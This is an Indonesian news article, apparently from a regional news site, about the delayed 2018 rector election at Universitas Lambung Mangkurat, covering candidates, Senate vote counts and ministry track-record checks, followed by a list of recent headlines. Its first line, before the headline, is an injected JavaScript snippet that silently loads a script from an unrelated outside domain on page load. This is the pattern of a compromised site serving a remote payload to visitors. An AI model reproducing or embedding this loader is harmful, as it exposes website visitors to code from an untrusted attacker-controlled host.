(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Hari Ini Rektor ULM Ditentukan, Siapa Calon yang Bakal Terpilih?


BANJARMASIN, Lama tak ada kabar kejelasan, tahapan pemilihan rektor (Pilrek) Universitas Lambung Mangkurat (ULM) akan digelar hari ini, Rabu (12/9). Kepastian penyelenggaraan pemilihan tersebut merujuk pada suratnya bernomor 3842/A.A2/KP/2018, tertanggal 7 September 2018 dari Kemenristekdikti.

Dalam surat yang ditandatangani Sekretaris Jenderal Ainun Na’im tersebut, disampaikan bahwa proses penelusuran rekam jejak tiga calon Rektor ULM periode 2018-2024 telah selesai. Sehingga proses pemilihan rektor dapat dilanjutkan.

“Sehubungan hal tersebut Menristekdikti atau pejabat yang diberi kuasa menteri bersedia menghadiri acara pemilihan Rektor ULM periode 2018-2023 pada hari Rabu, 12 September 2018,” tulis Ainun Naim.

Sebelumnya, dari hasil pemilihan calon Rektor ULM putaran pertama pada 30 Mei 2018 lalu, incumbent Prof Dr Sutarto Hadi berhasil meraup 31 suara. Guru besar FKIP ULM ini unggul dalam perebutan jatah 65 persen suara Senat ULM. Di posisi kedua adalah guru besar yang juga Dekan Fakultas Kedokteran, Prof Dr Zairin Noor dengan 17 suara. Dan terakhir, guru besar Fakultas Hukum Prof Dr HM Hadin Muhjad yang memiliki 9 suara Senat ULM.

Komposisi suara yang diperebutkan untuk menjadi orang nomor satu di kampus biru adalah 59 suara guru besar plus dekan dari 11 fakultas yang ada di ULM. Jatah untuk suara Senat ULM adalah 65 persen. Suara Menristekdikti atau pejabat yang diberi kuasa sebanyak 35 persen atau 32 suara akan menentukan siapa yang akan terpilih. Walhasil, ada 91 suara yang akan diperebutkan.

Terkait rencana hari ini, Rektor ULM Prof Dr Sutarto Hadi yang juga calon petahana membenarkan hal tersebut. Hal ini sesuai dengan suarat Kemenristekdikti yang ditujukan kepada Ketua Senat ULM. “Prosesnya memang memakan waktu. Ini tidak seperti pemilihan empat tahun sebelumnya,” katanya.

Ia mengatakan, panjangnya waktu penelusuran rekam jejak karena ada tiga aspek yang ditelusuri yakni plagiarisme, korupsi, dan ideologi. “Prosesnya makin memakan waktu panjang, karena saat bersamaan ada 15 perguruan tinggi negeri yang juga menggelar pemilihan rektor,” jelasnya.

Kepada wartawan, Sutarto mengatakan siap menerima apapun hasil Pilrek. Sebab siapapun yang terpilih akan membawa kemajuan bagi ULM. Menurutnya, semua calon merupakan sosok yang terbaik untuk memimpin ULM. “Kampus ini harus dibangun bersama. Tidak bisa maju tanpa dukungan civitas akademika baik itu para akademisi, pegawai di lingkungan ULM, mahasiswa, dan alumni,” katanya.

Di tempat terpisah, calon lain Prof Dr Hadin Muhjad pun mengaku baru tahu ada surat balasan dari Sekjen Kemenristekdikti mengenai agenda pemilihan rektor pada Rabu (12/9). “Jika sudah ada kepastian jadwal pemilihan, tentunya saya bersyukur,” katanya.

Menurut Hadin, siapa pun yang terpilih nantinya adalah figur terbaik untuk memimpin kampus ULM ke depan. Harapannya adalah para pemilik suara nanti dapat memilih dengan hati nurani masing-masing.

Pemilihan rektor Universitas Lambung Mangkurat (ULM) kali ini tak semulus seperti yang diperkirakan. Sejumlah jadwal yang disusun pun meleset, mulai dari pemilihan tingkat senat universitas hingga penetapan oleh Kemenristek Dikti yang dijadwal tanggal 20 Juli lalu. Molornya penetapan rektor terpilih, diakrenakan proses rekam jejak terhadap tiga kandidat masih berlangsung.

Ketua Panitia Pemilihan Rektor ULM Rosihan Adhani mengatakan, lamanya proses rekam jejak tersebut menyebabkan sidang senat tertutup yang sedianya 20 Juli ditunda. “Kabar penundaan rapat senat itu atas dasar hasil konsultasi dengan Biro SDM Kemenristekdikti pada Rabu (11/7) di Jakarta. Dikatakan bahwa proses rekam jejak terhadap 3 calon rektor masih berlangsung dan belum selesai,” katanya beberapa waktu lalu.

Rosihan berkata penundaan ini berdampak terhadap gagalnya rapat tanggal 20 Juli untuk penetapan Rektor ULM. Sebab, ia melanjutkan, penetapan rektor  tentu saja harus menunggu proses penilaian jejak rekam yang saat ini masih berlangsung di Kemenristekdikti.  “Dan diberitahukan dari Kementerian. Akan ada surat resmi yang dikirim terkait rektor ULM yang baru hasil dari penilain dan keputusan Kementerian,” katanya.(mario)

Reporter: Mario
Editor: Chell

Desy Arfianty

Recent Posts

Kota Banjarbaru Catat Investasi Triwulan I 2024 Senilai Rp204 Miliar

KANALKALIMANTAN.COM, BANJARBARU - Nilai investasi di Kota Banjarbaru terus mengalir dari tahun ke tahun. Setidaknya… Read More

20 menit ago

Bela Palestina, Mahasiswa-Civitas Akademika Universitas Muhammadiyah Banjarmasin Gelar Aksi

KANALKALIMANTAN.COM, BANJARMASIN - Forum Rektor Perguruan Tinggi Muhammadiyah dan Aisyiyah (FR PTMA) secara serentak menggelar… Read More

30 menit ago

Hadiri Halalbihalal Bersama Potensi Kesejahteraan Sosial, Bupati Banjar Dapat Kejutan

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mendapat kejutan berupa ucapan selamat ulang tahun… Read More

2 jam ago

Puluhan Calon PPK di Banjarbaru Ikuti Tes Tertulis

KANALKALIMANTAN.COM, BANJARBARU - Puluhan orang calon Panitia Pemilihan Kecamatan (PPK) untuk Pilkada 2024 di Kota… Read More

2 jam ago

Diskominfo Banjarbaru Gelar Bimtek Sistem Informasi Publik

KANALKALIMANTAN.COM, BANJARBARU - Dinas Komunikasi dan Informatika (Diskominfo) Kota Banjarbaru menggelar bimbingan teknis Sistem Informasi… Read More

3 jam ago

Helpdesk Pilkada 2024 Dibuka, Tidak Ada Paslon Perseorangan ke KPU Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Persiapan pencalonan bakal pasangam calon (Paslon) melalui jalur dukungan perseorangan telah dibuka… Read More

5 jam ago

This website uses cookies.